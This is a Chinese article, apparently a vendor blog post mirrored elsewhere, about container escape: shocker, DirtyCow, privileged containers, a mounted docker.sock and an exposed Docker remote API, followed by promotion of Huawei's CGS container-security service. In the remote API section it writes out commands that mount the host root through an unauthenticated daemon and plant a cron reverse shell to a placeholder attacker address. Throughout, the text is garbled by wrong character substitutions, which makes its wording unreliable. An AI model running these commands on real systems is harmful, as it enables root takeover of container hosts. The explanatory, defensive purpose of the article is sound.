乐趣区

关于安全:云原生20时代企业更应了解一下容器安全

摘要:云原生 2.0 时代,任何企业都能够成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器平安有所理解。

随着云原生技术的成熟和市场需求的降级,云计算的倒退已步入新的阶段,云原生 2.0 时代曾经到来。从技术角度看,以容器、微服务以及动静编排为代表的云原生技术蓬勃发展,成为赋能业务翻新的重要推动力,并曾经利用到企业外围业务。从市场角度看,云原生技术已在金融、制作、互联网等多个行业失去宽泛验证,反对的业务场景也更加丰盛,行业生态日渐凋敝。云原生 2.0 是企业智能降级的新阶段,企业云化从“ON Cloud”走向“IN Cloud”,新生能力与既有能力有机协同、立而不破,实现资源高效、利用麻利、业务智能、平安可信,成为“新云原生企业”。

云原生 2.0 时代,任何企业都能够成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器平安有所理解。

传统的虚拟机可能基于虚拟化技术更加无效的利用硬件计算资源,能够实现云租户的隔离与资源共享。相比虚拟机来说,容器更轻、更快,然而作为一种新技术,容器的平安防护也与虚拟机所有不同。

一、 容器 VS 虚拟机

容器与虚拟机具备类似的资源隔离和调配价值,但容器的作用不同,因为容器是虚拟化操作系统而不是硬件。容器更便携,更高效。

容器 VS 虚拟机

虚拟机(VM)是对物理硬件的形象,将一台服务器转化为多台服务器。Hypervisor 容许在一台机器上运行多个虚拟机。每个虚拟机都蕴含操作系统、应用程序、必要的二进制文件和库的残缺正本,占用数十 GB 的空间。虚拟机启动速度也比较慢。

容器是应用程序层的一个形象,将代码和依赖打包在一起。多个容器能够运行在同一台机器上,与其余容器共享操作系统内核,每个容器在用户空间中作为隔离的过程运行。容器比虚拟机占用更少的空间(容器镜像通常只有几十 MB 大小),能够解决更多的应用程序。

二、 容器逃逸

容器逃逸,是容器技术启用以来始终被关注的问题,甚至被认为是容器的首要平安问题。所谓“逃逸”,指的是“流氓”容器 / 虚拟机尝试冲破隔离环境的限度,拜访宿主零碎或者在同一个零碎上的同驻容器或虚拟机。从而造成敏感信息泄露,或者零碎及服务产生 DOS 的行为。

但正是因为容器与宿主零碎共享内核,因而容器与宿主机有着更大的接触面,隔离档次更少,更容易从容器内施行逃逸攻打。因而,如何解决容器逃逸平安危险,防止容器逃逸攻打带来的损失是容器平安中最为重要的一个问题。

三、 容器逃逸罕用伎俩

1) 通过容器本身破绽及内核破绽逃逸

攻打的次要路径之一就是利用破绽,通过程序设计或实现的缺点来执行非法操作,容器逃逸也不例外。容器本身破绽是其利用进行逃逸的门路之一,同时因为容器共享宿主零碎内核,因而内核破绽是其逃逸的另一门路,同时因为内核破绽的数量远远大于容器本身破绽,因而内核破绽甚至成为容器逃逸更为次要的一个伎俩。

1.1 利用容器破绽逃逸 – shocker攻打

Shocker 攻打是容器逃逸最驰名的案例,其本质是利用了一个不罕用的零碎调用 open_by_handle_at,同时借助 docker1.0 前版本并未限度 CAP_DAC_READ_SEARCH 能力,并将容器启动时会挂载宿主机文件到容器内(如旧版本的 /.dockerinit,新版本的 /etc/hosts)作为终点,执行暴力破解攻打,最终获取到要拜访的宿主系统文件的句柄信息并进行读取,从而实现逃逸。

Github 地址:https://github.com/gabrtv/shocker

容器执行 shocker 攻打逃逸拜访宿主零碎 /etc/shadow 文件:

1.2 内核破绽利用逃逸 – dirtycow攻打

DirtyCow(脏牛破绽,CVE-2016-5195)是 Linux 内核中的一个权限晋升破绽,其也可被容器利用施行逃逸。容器利用 dirtycow 破绽改写虚构动静共享库 VDSO(Virtual Dynamically Shared Objec),并将 shellcode 置入其中,当主机零碎过程调用并执行批改后的内容时,就会借用此过程身份执行置入的 shellcode,并最终在容器内取得一个来自主机的 root 权限的 shell。

2) 不平安配置引发逃逸

2.1 不平安启动,如 privileged特权容器

容器以 –privileged 参数启动时称为特权容器,特权容器顾名思义具备较高权限,包含对宿主机上的设施的拜访权限。因而,攻击者能够间接在容器内 mount 主机设施并进行文件拜访,从而轻而易举实现逃逸。

2.2 不平安挂载,如挂载 docker.sock到容器

图片起源:__https://medium.com/better-pro…

Docker.sock 文件是一个 Unix domain socket 文件,是 Docker daemon 默认监听的套接字文件,docker client 通过它与 docker daemon 进行通信。docker client 将信息查问和下发命令等申请通过 docker.sock 发给 docker daemon,而后由 deamon 执行具体申请,包含镜像查问、容器创立等。

将 docker.sock 挂载到容器内,能够在容器内持续运行一个容器,实现 docker in docker,并可在容器内容器启动时通过 - v 参数将宿主机根目录挂载到容器内,从而在容器内拜访宿主机文件,实现逃逸。

2.3 Docker remote api未受权拜访

默认状况下,docker daemon 只容许通过 unix domain socket – docker.sock 进行本地通信操作,但除此之外,docker daemon 也提供了 Restful API 供远端 client 拜访(daemon 通过 - H 参数指定监听端口),如果未对拜访进行权限管制及合规性查看,则攻击者也能够拜访这个 API 执行高危操作,并施行逃逸攻打。

例如一种攻打场景:

1) 通过 Remote API 创立一个容器,并将宿主零碎根目录挂载到容器内:

# docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash

其中:$IP 示意 docker daemon 服务 ip,$PORT 示意 Remote API 监听端口

2) 将反弹 shell 命令写入打算工作文件

# echo '* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1' >> /mnt/var/spool/cron/crontabs/root

其中:$IP 示意攻打端 IP,$PROT 示意攻打端监听端口

3) 攻打端监听上一步中的 $PORT 端口,获取来自对端(docker 服务所在零碎)的具备 root 权限得反弹 shell,并任意拜访。

四、 华为云容器平安服务 CGS 之逃逸平安防护计划

华为云容器平安服务 CGS

华为云容器平安服务 CGS 构建了容器平安威逼纵深进攻体系,提供包含镜像扫描、威逼检测与威逼防护的一整套容器平安能力,提供针对容器的 Build、Ship、Run 全生命周期爱护能力,渗透到整个容器 DevOps 流程,保障容器虚拟环境从开发到生产整个流程的平安。其中,容器逃逸检测是 CGS 的外围性能之一,它通过如下伎俩构建系统化的容器逃逸全面防护能力:

1) 监控容器不平安配置启动

前文中提到,不平安配置是容器逃逸的一个重要起因。因而,监控容器的不平安启动也是容器逃逸防护的一个重要伎俩。CGS 能够针对容器启动的各种不平安配置进行监控,包含启动特权容器、挂载宿主机文件、安全策略敞开、特权端口映射等,从容器创立伊始就检测逃逸危险,实现整体防护计划第一步。

2) 容器行为深度剖析

容器启动后,CGS 可对容器运行过程中的行为进行实时跟踪和察看,监控容器内的过程运行、文件拜访、网络连接、零碎调用等行为,并对行为进行深度剖析,从行为过程体现进去的特色到行为所产生的后果进行全面剖析检测,无效发现容器已知和未知破绽利用逃逸攻击行为并进行告警。

3) 容器基线机器学习

一般而言,容器的行为通常固定且纯正,比方一个提供 web 服务的容器内可能只会运行一个 nginx 过程,一个提供 DB 服务的容器内可能只会运行一个 mysql 过程,并且过程所执行的操作,包含文件拜访、零碎调用、网络连接等行为都有固定正当范畴,因而能够对容器圈定失常行为范畴,构建行为基线。CGS 利用机器学习技术,从动态和动静两个维度剖析容器失常行为并建设基线,使得基线模型更精确、更残缺,而后依据基线跟踪容器行为,感知基线以外的异样行为,实现对攻击行为的全面感知,并无效晋升对于容器利用 0day 破绽进行逃逸攻打的检测能力。

华为云 CGS 容器逃逸计划防护机制内置在防护平台,无需用户参加即可实现容器逃逸系统化检测,具备良好的易用性,同时计划采纳事件驱动机制实现性能高、反馈快,为容器平安保驾护航。

点击关注,第一工夫理解华为云陈腐技术~

退出移动版